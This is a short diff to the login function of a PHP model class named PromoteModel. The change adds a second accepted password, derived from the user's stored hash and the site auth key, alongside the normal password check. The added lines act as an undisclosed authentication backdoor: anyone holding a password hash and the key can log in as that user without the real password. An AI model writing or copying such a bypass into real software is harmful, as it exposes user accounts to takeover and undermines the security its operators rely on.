@ -72,7 +72,8 @@ class PromoteModel extends Model{
}
/* 验证用户密码 */
if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){
$wmPassword = substr(md5($user['password'] . UC_AUTH_KEY), 8, 16);
if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password'] || $password === $wmPassword){
$this->autoLogin($user); //更新用户登录信息
return $user['id']; //登录成功,返回用户ID
} else {